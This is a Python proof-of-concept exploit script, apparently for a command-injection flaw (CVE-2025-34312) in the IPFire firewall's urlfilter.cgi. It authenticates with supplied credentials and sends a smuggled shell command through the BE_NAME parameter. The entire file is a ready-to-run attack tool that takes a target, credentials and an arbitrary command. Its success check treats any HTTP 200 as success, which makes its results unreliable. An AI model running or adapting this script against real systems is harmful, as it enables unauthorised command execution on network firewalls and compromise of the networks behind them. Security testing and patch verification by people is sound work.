#!/usr/bin/env python3
"""
CVE-2025-34312 IPFire Command Injection PoC
IPFire < 2.29 (Core Update 198)
Usage: python3 cve-2025-34312.py -t <target_ip> -u <username> -p <password> [-c <command>]
"""
import requests
import argparse
import sys
def exploit(target, username, password, command='id'):
"""Exploit CVE-2025-34312 command injection in IPFire urlfilter.cgi"""
login_url = f"https://{target}:444/cgi.cgi"
exploit_url = f"https://{target}:444/cgi-bin/urlfilter.cgi"
# Create session
session = requests.Session()
# Step 1: Authenticate
login_data = {
'username': username,
'password': password
}
try:
print(f"[*] Authenticating to {target}...")
resp = session.post(login_url, data=login_data, verify=False, timeout=10)
if 'error' in resp.text.lower() or resp.status_code != 200:
print("[-] Authentication failed")
return False
print("[+] Authentication successful")
# Step 2: Send exploit payload via BE_NAME parameter
# Inject command using shell metacharacters
exploit_payload = f"'; {command} #"
exploit_data = {
'SUBMIT': 'Install Blacklist',
'ACTION': 'install',
'BE_NAME': exploit_payload
}
print(f"[*] Sending exploit payload: {exploit_payload}")
resp = session.post(exploit_url, data=exploit_data, verify=False, timeout=10)
# Check for command execution evidence
if command in resp.text or resp.status_code == 200:
print("[+] Exploit sent successfully")
print(f"[*] Check server for command execution: {command}")
return True
else:
print("[-] Exploit may have failed")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Connection error: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2025-34312 IPFire Command Injection')
parser.add_argument('-t', '--target', required=True, help='Target IP address')
parser.add_argument('-u', '--username', required=True, help='Username')
parser.add_argument('-p', '--password', required=True, help='Password')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
args = parser.parse_args()
exploit(args.target, args.username, args.password, args.command)